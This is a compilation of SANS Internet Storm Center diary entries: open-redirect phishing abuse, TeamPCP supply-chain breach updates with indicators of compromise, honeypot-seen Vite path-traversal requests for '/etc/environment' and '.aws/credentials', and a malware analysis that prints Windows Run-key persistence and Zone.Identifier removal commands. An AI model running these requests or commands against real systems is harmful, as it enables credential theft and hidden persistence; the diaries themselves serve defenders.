It should be noted that if a message contained multiple malicious links and at least one of them used a redirect, the entire message was counted exclusively as a redirect sample, and that not all redirect cases were classic "open redirects". In fact, the abused redirect mechanisms varied widely.

Some behaved similarly to the aforementioned Google-style “half-open” redirects (see details below), while others were fully open. In some cases, the redirectors were part of tracking or advertising systems, while in others, they were implemented as logout endpoints or similar mechanisms. It should be noted that URL shorteners were also counted as redirectors (although these were not particularly common).

As we mentioned, the Google-style redirects are not fully open. They do require a specific valid token to work, however, since these tokens are typically reusable, have a very long lifetime, and are not tied to any specific context (such as IP address or session), they can be – and are – readily reused in phishing campaigns.

An example of such a phishing message and subsequent redirection can be seen in the following images. Though, to avoid focusing solely on Google, it should be mentioned that similar redirect mechanisms on other platforms (e.g., Bing) are also being abused in the same way.

As we can see, although open redirect is commonly considered more of a nuisance issue than an actual high-risk vulnerability these days, it doesn’t keep malicious actors from misusing it quite heavily… Which means we shouldn’t just ignore it.

At the very least, it is worth ensuring that our own applications do not expose endpoints that can be misused in this way. And where any redirection functionality is strictly required, it should be monitored for abuse and restricted as necessary.

[1] https://isc.sans.edu/diary/Open+Redirects+A+Forgotten+Vulnerability/32742
[2] https://isc.sans.edu/diary/Another+day+another+phishing+campaign+abusing+googlecom+open+redirects/31950

-----------
Jan Kopriva
LinkedIn
Nettles Consulting

This is the sixth update to the TeamPCP supply chain campaign threat intelligence report, "When the Security Scanner Became the Weapon" (v3.0, March 25, 2026). Update 005 covered developments through April 1, including the first confirmed victim disclosure (Mercor AI), Wiz's post-compromise cloud enumeration findings, DPRK attribution of the axios compromise, and LiteLLM's release resumption after Mandiant's forensic audit. This update covers intelligence from April 1 through April 3, 2026.

CRITICAL: CERT-EU Confirms European Commission Cloud Breach via Trivy Supply Chain Compromise

CERT-EU disclosed on April 2-3, 2026 that the European Commission's Europa web hosting platform on AWS was breached through the Trivy supply chain compromise (CVE-2026-33634). This is the highest-profile governmental victim disclosure to date.

Key details from the CERT-EU advisory:

• Initial access: AWS API keys stolen via the compromised Trivy scanner on March 19
• Detection: European Commission Security Operations Center fired alerts on March 24 (5 days after initial intrusion)
• CERT-EU notified: March 25; access revoked same day
• Data exfiltrated: 340 GB uncompressed (91.7 GB compressed archive) from the compromised AWS account
• Email exposure: Approximately 52,000 email-related files (2.22 GB) of outbound communications
• Scope: 71 clients affected: 42 internal European Commission departments plus 29 other EU entities, meaning at least 30 Union entities were potentially impacted
• Data publication: ShinyHunters published the stolen data on their dark web leak site on March 28
• Lateral movement: CERT-EU confirmed no lateral movement to other Commission AWS accounts was detected
• Europa.eu websites remained unaffected throughout

Analysts assess this disclosure is significant on multiple dimensions. First, it confirms that TeamPCP-harvested credentials reached a major governmental institution, not just private-sector targets. Second, the involvement of ShinyHunters in the data publication raises questions about the credential distribution chain, as ShinyHunters is operationally distinct from TeamPCP's known LAPSUS$ and Vect partnerships. Third, the five-day dwell time between initial access (March 19) and detection (March 24) is consistent with the 24-hour operational tempo that Wiz documented for TeamPCP's post-compromise cloud enumeration.

Recommended action: EU institutions and organizations hosted on Europa infrastructure should review CERT-EU's advisory for specific exposure indicators. Organizations with AWS credentials that may have been exposed through the Trivy compromise should treat the EC breach as confirmation that stolen credentials are being actively used against high-value targets. The CERT-EU disclosure timeline (initial access March 19, detection March 24, notification March 25, public disclosure April 2) demonstrates that even well-resourced organizations required five days to detect the intrusion.

HIGH: Sportradar AG Breach Details Confirmed: TeamPCP and Vect Joint Operation

VECERT reported on April 2, 2026 that the Sportradar AG breach (first claimed as a CipherForce victim in Update 004) has been confirmed as a "systemic compromise" jointly operated by TeamPCP and Vect ransomware. Sportradar is a $4.98 billion Swiss sports technology company.

Confirmed breach details:

• Entry vector: Supply chain via compromised Trivy (CVE-2026-33634)
• Personal data: Approximately 26,000 users' personal information exposed
• Athlete records: 23,169 records including names, dates of birth, gender, and nationality
• Client exposure: Client table listing 161 organizations including ESPN, Nike, NBA Asia, and IMG Arena
• Credential exposure: 8 production RDS database passwords, 328 platform API key/secret pairs, Kafka SASL credentials, and New Relic monitoring tokens
• CipherForce ransomware: Listed on the CipherForce shame site with the original 14-15 day publication deadline (approaching approximately April 10-11)

This is the first confirmed case of TeamPCP and Vect operating jointly against a single target, validating the dual-track ransomware model documented in earlier updates. The exposure of 161 client organizations including major sports leagues and media companies creates a cascading notification and risk assessment obligation for Sportradar.

Recommended action: Organizations with Sportradar business relationships should proactively assess whether their data appears in the exposed client table. The 328 exposed API key/secret pairs create a secondary supply chain risk for Sportradar's integration partners.

HIGH: Mandiant Quantifies Campaign Scale: Over 1,000 SaaS Environments, Estimated 500,000 Machines

Multiple vendor statements published April 1-2 have provided the first authoritative quantification of the campaign's total blast radius:

• Mandiant CTO Charles Carmakal stated that Google-owned Mandiant knew of "over 1,000 impacted SaaS environments" actively dealing with cascading effects from the TeamPCP supply chain compromises.
• Google Cloud researchers warned that "hundreds of thousands of stolen secrets could potentially be circulating" from the credential trove.
• The Register cited estimates suggesting attackers exfiltrated data and secrets from approximately 500,000 machines total across all victims.
• Palo Alto Networks Unit 42 identified affected organizations across the US, Europe, Middle East, South Asia, and Australia, spanning financial services, technology, retail, legal, insurance, and education sectors.

These numbers move the campaign's assessed scale from qualitative ("thousands of downstream environments," per the FBI alert) to quantitative. The 1,000+ SaaS environments figure is particularly significant because it implies credential exploitation is ongoing across a far larger surface than the handful of publicly named victims suggests.

Recommended action: Organizations that have not yet completed credential rotation should treat the Mandiant quantification as definitive evidence that delayed rotation increases exposure to an actively exploited credential pool of industrial scale.

MEDIUM: Elastic Security Labs Publishes Container Attack Detection Guide with MITRE ATT&CK Mapping

Elastic Security Labs published a new technical resource, "Linux & Cloud Detection Engineering: TeamPCP Container Attack Scenario," providing a full walkthrough of TeamPCP's multi-stage container compromise methodology. This is distinct from Elastic's earlier axios supply chain compromise detections covered in Update 005 and focuses specifically on the TeamPCP toolchain.

New technical details documented:

• Tunneling tools: TeamPCP uses frps (fast reverse proxy) and gost for establishing persistent tunnels and proxying through compromised container environments
• React2Shell: A web server exploitation technique used for initial foothold in containerized workloads
• D4C telemetry: Full detection walkthrough using Elastic's Defend for Containers telemetry
• MITRE ATT&CK mapping: Each stage of the container attack chain mapped to specific ATT&CK techniques, providing structured detection logic

Recommended action: SOC teams operating containerized workloads should review the Elastic guide for detection rules specific to TeamPCP's container attack methodology. The frps and gost indicators are new IOCs not previously documented in the campaign's public reporting.

MEDIUM: Mercor Breach Triggers Class Action Investigations

The Mercor AI breach (first confirmed in Update 005) has escalated beyond incident response into legal proceedings. Shamis & Gentile P.A. has launched a class action investigation into Mercor's data breach, focusing on the exposure of contractor and customer data including biometric identity verification materials (passports and video interviews).

Additional context that emerged April 1-2:

• Fortune reported Mercor is valued at $10 billion (raised $350M Series C in October 2025)
• Mercor's customers confirmed to include Anthropic, OpenAI, and Meta
• LAPSUS$ published samples including Slack data, internal ticketing records, and two videos of AI-contractor conversations
• Data is listed for live auction on the dark web

The class action investigation introduces a legal dimension to the campaign's downstream consequences. The exposure of biometric identity verification materials (passports) for an estimated 30,000+ AI contractors raises GDPR, CCPA, and potentially BIPA obligations.

INFO: New Vendor Publications and Analysis

Several new vendor publications appeared in the April 1-3 window:

• Datadog Security Labs published a detailed technical trace of the full LiteLLM and Telnyx PyPI compromise chain, tracing it back to the March 19 Trivy origin and recommending that any host that installed compromised versions be treated as a "full-credential exposure event."
• Oligo Security published "Evolution of Modern Supply Chain Attacks," documenting TeamPCP's credential harvesting timeline and framing the campaign as a "meaningful shift" in how sophisticated actors approach supply chain as an attack surface.
• The New Stack (April 2) published "The CI/CD Pipeline Is the New Front Line," positioning TeamPCP as a watershed moment for CI/CD pipeline security.
• CYFIRMA Weekly Intelligence Report (April 3) covered the campaign, noting the Europa hosting platform impact and the 71 affected clients.

INFO: Supply Chain Pause Extends to Approximately 16 Days

No new package compromises have been reported since the Telnyx PyPI disclosure on March 27. The supply chain pause is now approximately 384 hours (16 days), doubling the 192-hour pause reported in Update 005. Independent searches of RubyGems, crates.io, and Maven Central continue to show zero TeamPCP-related IOCs. The campaign remains confined to five ecosystems: GitHub Actions, PyPI, npm, Docker Hub/GHCR, and OpenVSX.

The CISA KEV remediation deadline for CVE-2026-33634 is now 5 days away (April 8, 2026).

Watch Item Status

Watch Item	Status
European Commission breach response	NEW: CERT-EU disclosed April 2-3; 71 clients affected, 30 EU entities; ShinyHunters published data March 28
Sportradar data publication deadline	NEW/APPROACHING: CipherForce 14-15 day deadline from March 26-27 claim approaches approximately April 10-11
Campaign scale quantification	CONFIRMED: Mandiant: 1,000+ SaaS environments; estimates of 500,000 machines across all victims
Mercor legal proceedings	NEW: Class action investigation launched by Shamis & Gentile; Fortune values Mercor at $10B
CISA KEV deadline (April 8)	5 days remaining: Organizations running Trivy must remediate to v0.69.2+, trivy-action v0.35.0, or setup-trivy v0.2.6
Databricks official statement	Pending: No official disclosure; internal investigation ongoing per Update 004
Vect ransomware confirmed deployments	No confirmed downstream deployments from affiliate program; distribution window now approximately 16 days
AstraZeneca confirmation or denial	No official statement: Now approximately 8 days since initial LAPSUS$ claim
Additional package compromises	No new compromises: 16-day pause, longest since campaign began
CISA standalone advisory	Pending at day 20: KEV entries, FBI alert, and Singapore CSA advisories only; no dedicated advisory or emergency directive
Expansion to RubyGems/crates.io/Maven	Not observed: Zero IOCs in independent registry searches
Law enforcement action	No public action: FBI advisory issued but no arrests, indictments, or infrastructure seizures
ownCloud build restoration	Pending: Several weeks estimated; no timeline update since initial disclosure
Nation-state credential exploitation	CONFIRMED: DPRK UNC1069/Sapphire Sleet axios attack attributed by four vendors per Update 005; credential link to TeamPCP trove not ruled out
ShinyHunters involvement	NEW: Published EC data March 28; relationship to TeamPCP/LAPSUS$/Vect ecosystem unclear

 

From its GitHub repo: "Vite (French word for "quick", pronounced /vi?t/, like "veet") is a new breed of frontend build tooling that significantly improves the frontend development experience" [https://github.com/vitejs/vite].

This environment introduces some neat and useful shortcuts to make developers' lives simpler. But as so often, if exposed, these features can be turned against you.

Today, I noticed our honeypots collecting URLs like:

/@fs/../../../../../etc/environment?raw??
/@fs/etc/environment?raw??
/@fs/home/app/.aws/credentials?raw??

and many more like it. The common denominator is the prefix "/@fs/" and the ending '?raw??'. This pattern matches CVE-2025-30208, a vulnerability in Vite described by Offsec.com in July last year [https://www.offsec.com/blog/cve-2025-30208/]. 

The '@fs' feature is a Vite prefix for retrieving files from the server. To protect the server's file system, Vite implements configuration directives to restrict access to specific directories. However, the '??raw?' suffix can be used to bypass the access list and download arbitrary files. Scanning activity on port 5173 is quite low, and the attacks we have seen use standard web server ports.

Vite is typically listening on port 5173. It should be installed such that it is only reachable via localhost, but apparently, at least attackers believe that it is often exposed. The attacks we are seeing are attempting to retrieve various well-known configuration files, likely to extract secrets. 

--
Johannes B. Ullrich, Ph.D. , Dean of Research, SANS.edu
Twitter|

This is the fifth update to the TeamPCP supply chain campaign threat intelligence report, "When the Security Scanner Became the Weapon" (v3.0, March 25, 2026). Update 004 covered developments through March 30, including the Databricks investigation, dual ransomware operations, and AstraZeneca data release. This update consolidates two days of intelligence through April 1, 2026.

HIGH: Mercor AI Confirms Breach Tied to LiteLLM Supply Chain Compromise - First Official Victim Disclosure

AI recruiting startup Mercor has publicly confirmed it was breached as a direct consequence of the LiteLLM supply chain compromise, making it the first organization to officially acknowledge being victimized through the TeamPCP campaign. TechCrunch reported on March 31 that LAPSUS$ claims to have exfiltrated approximately 4TB of data, including 939GB of source code, a 211GB user database, and 3TB of video interviews and identity verification documents (passports). Initial access was reportedly via a compromised Tailscale VPN credential.

Mercor stated it was "one of thousands of companies" affected by the LiteLLM compromise. The nature of the claimed exfiltrated data -- which includes biometric identity verification materials -- raises significant privacy and regulatory implications under GDPR, CCPA, and potentially HIPAA depending on the contents.

This is operationally significant because it moves the campaign's downstream impact from theoretical to confirmed. Prior victim claims (AstraZeneca, Databricks) remain unconfirmed by the named organizations. Mercor's public acknowledgment validates what analysts have assessed since Update 002: the credential trove harvested during the supply chain phase is being actively exploited for data theft and extortion.

Recommended action: Organizations that used LiteLLM v1.82.7 or v1.82.8 should treat this as confirmation that credential exploitation is actively underway. If you have not completed credential rotation, the Mercor disclosure demonstrates the consequence of delay. VPN credentials, cloud access tokens, and API keys accessible in compromised environments should be prioritized for rotation.

HIGH: Wiz Documents TeamPCP Post-Compromise AWS and Cloud Enumeration in the Wild

SecurityWeek reported on March 31 that Wiz's Cloud Incident Response Team (CIRT) has published detailed findings on TeamPCP's post-compromise cloud operations in "Tracking TeamPCP: Investigating Post-Compromise Attacks Seen in the Wild". This is the first detailed public documentation of what TeamPCP does after obtaining stolen credentials.

Key findings from the Wiz CIRT investigation:

• Credential validation via TruffleHog: TeamPCP uses the open-source secret scanning tool TruffleHog to programmatically verify that stolen AWS access keys, Azure application secrets, and SaaS tokens are still valid and in use.
• 24-hour operational tempo: Within 24 hours of validating stolen secrets, the group transitions to discovery operations in compromised AWS environments.
• AWS enumeration focus: Discovery operations enumerate IAM roles, EC2 instances, Lambda functions, RDS databases, S3 buckets, and ECS clusters, with particular focus on container infrastructure where the group maps clusters and task definitions.
• Bold operational signatures: The group uses conspicuous resource names including "pawn" and "massive-exfil" -- analysts assess this indicates either operational carelessness or deliberate intimidation, consistent with their public Telegram messaging.

The Wiz findings also contextualize the Flare threat intelligence report, which found that TeamPCP's cloud infrastructure targeting breaks down as Azure (61%) and AWS (36%), accounting for 97% of compromised servers.

Recommended action: Organizations should search cloud audit logs for unauthorized IAM enumeration, EC2/ECS/Lambda discovery calls, and S3 listing operations originating from unfamiliar principals. TruffleHog validation attempts may appear as rapid sequential API calls testing credential validity across multiple services. Search for resources with names containing "pawn", "massive-exfil", or similar conspicuous strings.

Note for threat hunters: The full Wiz CIRT report contains extensively documented indicators of compromise including specific AWS API call patterns, resource naming conventions, and infrastructure fingerprints observed in the wild. Threat hunters and SOC teams should review the Wiz report in detail for actionable detection content.

MEDIUM: Axios npm Compromise Attributed to North Korean UNC1069 - Not TeamPCP, but Credential Source Remains Open

The axios npm compromise (March 30-31, malicious versions 1.14.1 and 0.30.4) has received formal attribution. Elastic Security Labs published a detailed analysis identifying the macOS Mach-O binary payload as overlapping with WAVESHAPER, a C++ backdoor that Mandiant attributes to UNC1069, a suspected North Korean threat actor. Google's Threat Intelligence Group published a companion analysis confirming the DPRK attribution.

This narrows the assessment from Update 004's "credential provenance raises TeamPCP questions" to a more specific picture: analysts assess with high confidence that a different threat actor executed the axios attack, but the question of how the maintainer's npm token was originally obtained remains unanswered. The token was a long-lived classic npm access token -- exactly the type that TeamPCP's CanisterWorm findNpmTokens() function harvests from CI/CD environments. The timing aligns with TeamPCP's monetization phase and the BreachForums credential distribution to approximately 300,000 users.

The SANS ISC Stormcast for April 1, 2026 noted: "Given that TeamPCP recently collected so many developer credentials, it's very possible that they were involved in the Axios compromise, though the follow-up compromise doesn't look like TeamPCP, as the techniques look a little bit different."

Singapore's Cyber Security Agency has issued a second advisory, AD-2026-002, specifically addressing the axios supply chain attack -- making Singapore the only government to have issued dedicated advisories for both the TeamPCP campaign and the axios incident.

Recommended action: Organizations that installed axios v1.14.1 or v0.30.4 should check for platform-specific IOCs: macOS (/Library/Caches/com.apple.act.mond), Windows (%PROGRAMDATA%\wt.exe), Linux (/tmp/ld.py). Block C2 domain sfrclak[.]com and IP 142.11.206[.]73. The DPRK attribution elevates the severity -- this is now a nation-state operation exploiting the same credential ecosystem that TeamPCP seeded.

MEDIUM: LiteLLM Resumes Publishing After Forensic Audit - Release Freeze Lifted

BerriAI has lifted the LiteLLM release freeze that has been in effect since March 25. According to the LiteLLM security update, the Mandiant-led forensic audit verified every release from v1.78.0 through v1.82.6 via SHA-256 comparison against the Git repository, confirming no additional compromised versions exist beyond the known-malicious v1.82.7 and v1.82.8. A new safe version was published on March 31, 2026.

This resolves the "LiteLLM/BerriAI release resumption" watch item that has been tracked since Update 001. The quarantine lift and publishing resumption signal that the forensic investigation found no evidence of earlier or broader compromise beyond the two known-malicious versions.

Recommended action: Organizations that froze LiteLLM upgrades can resume normal update procedures. Verify you are running a version that post-dates the forensic audit. Continue to treat any historical installation of v1.82.7 or v1.82.8 as a confirmed compromise requiring full credential rotation.

INFO: ownCloud Discloses CVE-2026-33634 Build Infrastructure Impact

ownCloud published a security notice confirming their build infrastructure was affected by the Trivy supply chain compromise (CVE-2026-33634). ownCloud stated that no customer data was compromised, characterizing the impact as limited to build pipeline exposure. This is notable as one of the few organizations to proactively disclose exposure without a corresponding extortion claim. This is a positive example of transparent incident communication.

INFO: Supply Chain Pause Extends to Approximately 192 Hours

No new package compromises have been reported since the Telnyx PyPI disclosure on March 27. The supply chain pause is now approximately 192 hours (8 days) -- extending the record documented in Updates 003 through the Update 005 draft. The CISA KEV remediation deadline for CVE-2026-33634 is now 7 days away (April 8, 2026).

Independent searches of RubyGems, crates.io, and Maven Central continue to show zero TeamPCP-related IOCs. The campaign remains confined to five ecosystems: GitHub Actions, PyPI, npm, Docker Hub/GHCR, and OpenVSX.

Watch Item Status

Watch Item	Status
First confirmed victim disclosure	RESOLVED -- Mercor AI confirmed breach via LiteLLM on March 31
Post-compromise cloud activity	DOCUMENTED -- Wiz CIRT published AWS/Azure enumeration findings
Axios token provenance	NARROWED -- Google TIG/Elastic attribute execution to DPRK UNC1069; token source still undetermined
LiteLLM/BerriAI release resumption	RESOLVED -- Publishing resumed March 31 after Mandiant forensic audit
Databricks official statement	Pending -- No official disclosure, internal investigation ongoing
AstraZeneca confirmation or denial	No official statement -- Data released by LAPSUS$, Cybernews partially verified contents
Vect ransomware confirmed deployments from affiliate program	No confirmed deployments -- Distribution window now approximately 192 hours
Additional package compromises	No new compromises -- 192-hour pause, longest since campaign began
CISA standalone advisory	Pending at day 14 -- KEV entry, FBI alert, and Singapore CSA advisories only
Expansion to RubyGems/crates[.]io/Maven	Not observed -- Zero IOCs in independent registry searches
CISA KEV deadline	April 8, 2026 -- 7 days remaining
Nation-state credential exploitation	NEW -- DPRK-attributed UNC1069 may be leveraging TeamPCP-seeded credential ecosystem

The full campaign report is available at sans.org/white-papers/when-security-scanner-became-weapon. A SANS Emergency Webcast replay is available at sans.org/webcasts/when-security-scanner-became-weapon. Updates to the report will be in the form of these ISC diaries.

Today, most malware are called “fileless” because they try to reduce their footprint on the infected computer filesystem to the bare minimum. But they need to write something… think about persistence. They can use the registry as an alternative storage location.

But some scripts still rely on files that are executed at boot time. For example, via a “Run” key:

reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v csgh4Pbzclmp /t REG_SZ /d "\"%APPDATA%\Microsoft\Windows\Templates\dwm.cmd\"" /f >nul 2>&1

The file located in %APPDATA% will be executed at boot time.

From the attacker’s point of view, there is a problem: The original script copies itself:

copy /Y "%~f0" "%APPDATA%\Microsoft\Windows\Templates\dwm.cmd" >nul 2>&1

Just after the copy operation, a PowerShell one-liner is executed:

powershell -w h -c "try{Remove-Item -Path '%APPDATA%\Microsoft\Windows\Templates\dwm.cmd:Zone.Identifier' -Force -ErrorAction SilentlyContinue}catch{}" >nul 2>&1

PowerShell will try to remove the alternate-data-stream (ADS) “:Zone.Identifier” that Windows adds during file operations. The :Zone.Identifier indicates the source of the file (0 = My Computer, 1 = Local intranet, 2 = Trusted sites, 3 = Internet, 4 = Restricted sites). It's not clear if a "copy" will drop or conserver the ADS. I did not find an official Microsoft documentation but, if you ask to a LLM, it will tell you that they are not preserved. They are wrong!

In my Windows 10 lab, I downloaded a copy of BinaryNinja. An ADS was added to the file. After a copy to "test.ext", the new file has still the ADS!

By removing the ADS, the malicious script makes the file look less suspicious if the system is scanned to search for "downloaded" files (a classic operation performed in DFIR investigations). 

For the story, the script will later invoke another PowerShell that will drop a DonutLoader on the victim's computer.

Xavier Mertens (@xme)
Xameco
Senior ISC Handler - Freelance Cyber Security Consultant
PGP Key